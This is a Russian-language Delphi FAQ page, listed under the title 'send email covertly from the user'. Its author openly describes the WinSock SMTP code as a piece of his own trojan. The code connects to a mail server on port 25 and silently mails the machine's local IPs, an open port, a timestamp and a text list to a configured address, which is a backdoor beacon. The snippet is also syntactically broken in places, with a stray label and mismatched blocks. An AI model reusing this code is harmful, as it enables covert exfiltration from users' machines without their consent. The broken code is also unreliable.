Недавно добавленные исходники

•  DeLiKaTeS Tetris (Тетрис)  1 688

•  TDictionary Custom Sort  4 277

•  Fast Watermark Sources  3 945

•  3D Designer  6 108

•  Sik Screen Capture  4 209

•  Patch Maker  4 756

•  Айболит (remote control)  4 670

•  ListBox Drag & Drop  3 808

•  Доска для игры Реверси  90 575

•  Графические эффекты  5 002

•  Рисование по маске  4 034

•  Перетаскивание изображений  3 375

•  Canvas Drawing  3 690

•  Рисование Луны  3 479

•  Поворот изображения  3 008

•  Рисование стержней  2 632

•  Paint on Shape  2 023

•  Генератор кроссвордов  2 791

•  Головоломка Paletto  2 213

•  Теорема Монжа об окружностях  2 913

•  Пазл Numbrix  1 973

•  Заборы и коммивояжеры  2 571

•  Игра HIP  1 592

•  Игра Go (Го)  1 521

•  Симулятор лифта  1 801

•  Программа укладки плитки  1 546

•  Генератор лабиринта  1 914

•  Проверка числового ввода  1 674

•  HEX View  1 855

•  Физический маятник  1 687

 
скрыть


Delphi FAQ - Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |
| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |



Delphi Sources

Отправить Email скрытно от пользователя



Автор: Павел

Ну если не устраивает дельфовый SMTP клиент...

Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :)

function SMTPRecvReply(MailSocket: TSocket): Word;
var
  Buffer: array[1..1024] of Byte;
  Err: Integer;
  BufStr: string;
begin
  BufStr := '';
  Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
  for Err := 1 to 3 do
    BufStr := BufStr + Chr(buffer[Err]);
  try
    Result := StrToInt(BufStr);
  except
    Result := 0;
  end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
  Buffer: array[1..1024] of Byte;
  Err: Integer;
begin
  Result := FALSE;
  ZeroMemory(@Buffer, SizeOf(Buffer));
  if Length(Str) > 1000 then
    Exit;
  for Err := 1 to Length(Str) do
    Buffer[Err] := Ord(Str[Err]);
  Buffer[Err] := 13;
  Buffer[Err + 1] := 10;
  Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
  if Err > 0 then
    Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
  MailSocket: TSocket;
  MailSent: Boolean;
  MTime: TSystemTime;
  SMTPServer: TSockAddrIn;
  Step: Byte;
  OutOfSend: Boolean;
begin
  MailSent := FALSE;
  OutOfSend := FALSE;
  MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
  SMTPServer.sin_family := AF_INET;
  SMTPServer.sin_port := htons(25);
  SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
  Step := 0;
  if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
    repeat
      case SMTPRecvReply(MailSocket) of
        220: SMTPSendString(MailSocket, 'HELO server.com');
        250: case STEP of
            0:
              begin
                SMTPSendString(MailSocket, 'MAIL FROM:' + mail);
                Inc(Step);
              end;
            1:
              begin
                SMTPSendString(MailSocket, 'RCPT TO:' + mail);
                Inc(Step);
              end;
            2:
              begin
                SMTPSendString(MailSocket, 'DATA');
                Inc(Step);
              end;
            3:
              begin
                SMTPSendString(MailSocket, 'QUIT');
                Inc(Step);
              end;
          end;
        354:
          begin
            SMTPSendString(MailSocket, 'From:' + ServerID);
            SMTPSendString(MailSocket, 'To:' + UserName);
            SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port +
              ' At ' + DateTimeToStr(Now));
            SMTPSendString(MailSocket, CRLF);
            for count := 1 to (txt.Count - 1) do
              SMTPSendString(MailSocket, txt[count]);
            SMTPSendString(MailSocket, CRLF + '.' + CRLF);
          end;
        221:
          begin
            OutOfSend := True;
            MailSent := True
          end;
      else
        OutOfSend := True;
        file: //!Case
      end;
    until OutOfSend;
  CloseSocket(MailSocket);
end;
ExitThread(0);
end;







Copyright © 2004-2024 "Delphi Sources" by BrokenByte Software. Delphi World FAQ

Группа ВКонтакте